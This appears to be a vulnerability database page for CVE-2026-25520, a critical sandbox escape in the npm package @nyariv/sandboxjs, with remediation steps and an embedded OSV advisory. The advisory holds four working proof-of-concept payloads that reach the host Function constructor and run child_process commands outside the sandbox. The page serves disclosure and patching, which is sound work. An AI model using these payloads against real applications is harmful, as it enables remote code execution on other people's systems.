CVE-2026-25520: @nyariv/sandboxjs @nyariv/sandboxjs Has A Sandbox Escape Vulnerability
CRITICALCVE-2026-25520 is a CRITICAL (CVSS 10.0) @nyariv/sandboxjs has a sandbox escape vulnerability (CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')) affecting @nyariv/sandboxjs libraries in the npm ecosystem. The issue involves @nyariv/sandboxjs has a sandbox escape issue. Remediation is available by upgrading affected packages to version 0.8.29.
CVE-2026-25520 at a Glance
Security Impact
CVSS: 10.0
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).
How to Fix CVE-2026-25520
To remediate this vulnerability, upgrade all affected @nyariv/sandboxjs dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install @nyariv/sandboxjs@0.8.29
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @nyariv/sandboxjs
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-25520, inspect your project dependencies using npm:
npm ls @nyariv/sandboxjs
Analyze the terminal output to locate any version of @nyariv/sandboxjs in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.8.29), your application is affected.
Note: The npm ls @nyariv/sandboxjs command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection'), where the product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component. In @nyariv/sandboxjs, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-25520 Affected @nyariv/sandboxjs Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
@nyariv/sandboxjs
|
npm |
< 0.8.29
|
0.8.29
|
References
Frequently Asked Questions
What is CVE-2026-25520?
Which @nyariv/sandboxjs versions are affected?
What version fixes CVE-2026-25520?
Is @nyariv/sandboxjs affected?
What is the CVSS score of CVE-2026-25520?
What CWE is associated with CVE-2026-25520?
How can I check npm dependencies for CVE-2026-25520?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-58jh-xv4v-pcx4",
"modified" : "2026-02-06T21:42:23Z",
"published" : "2026-02-05T20:41:28Z",
"aliases" : [ "CVE-2026-25520" ],
"summary" : "@nyariv/sandboxjs has a Sandbox Escape issue",
"details" : "### Summary\n\nThe return values of functions aren't wrapped. `Object.values`/`Object.entries` can be used to get an Array containing the host's `Function` constructor, by using `Array.prototype.at` you can obtain the hosts `Function` constructor, which can be used to execute arbitrary code outside of the sandbox.\n\n### Details\n\nThe return values of functions aren't wrapped, chaining function calls allows bypassing most validation/sanitization. \n\n### PoC\n\n```js\nconst s = require('@nyariv/sandboxjs').default;\nconst sb = new s();\n\npayload = `\nconsole.log(\n Object.values(this).at(0)(\n \"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()\",\n )(),\n);\n`\n\nsb.compile(payload)().run();\n```\n\n```js\nconst s = require(\"@nyariv/sandboxjs\").default;\nconst sb = new s();\n\npayload = `\nconsole.log(\n Object.entries(this)[0].at(1)(\n \"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()\",\n )(),\n);\n`\n\nsb.compile(payload)().run();\n```\n\n```js\nconst s = require(\"@nyariv/sandboxjs\").default;\nconst sb = new s();\n\npayload = `\nconsole.log(\n Object.entries(this)\n .at(0)\n .map((f) => {\n if (typeof f === 'function') {\n f.call('', 'return process')()\n .getBuiltinModule('child_process')\n .execSync('ls -lah', { stdio: 'inherit' });\n }\n }),\n);\n`\n\nsb.compile(payload)().run();\n```\n\n```js\nconst s = require(\"@nyariv/sandboxjs\").default;\nconst sb = new s();\n\npayload = `\nconst t = (f) => {\n f.call('', 'return process')()\n .getBuiltinModule('child_process')\n .execSync('ls -lah', { stdio: 'inherit' });\n};\nconsole.log(t.call(...Object.entries(this)[0]));\n`\n\nsb.compile(payload)().run();\n```\n\n### Impact\n\nSanbox Escape -> RCE",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "@nyariv/sandboxjs"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.8.29"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 0.8.28"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-58jh-xv4v-pcx4"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-25520"
}, {
"type" : "WEB",
"url" : "https://github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/nyariv/SandboxJS"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-74" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-02-05T20:41:28Z",
"nvd_published_at" : "2026-02-06T20:16:10Z"
}
}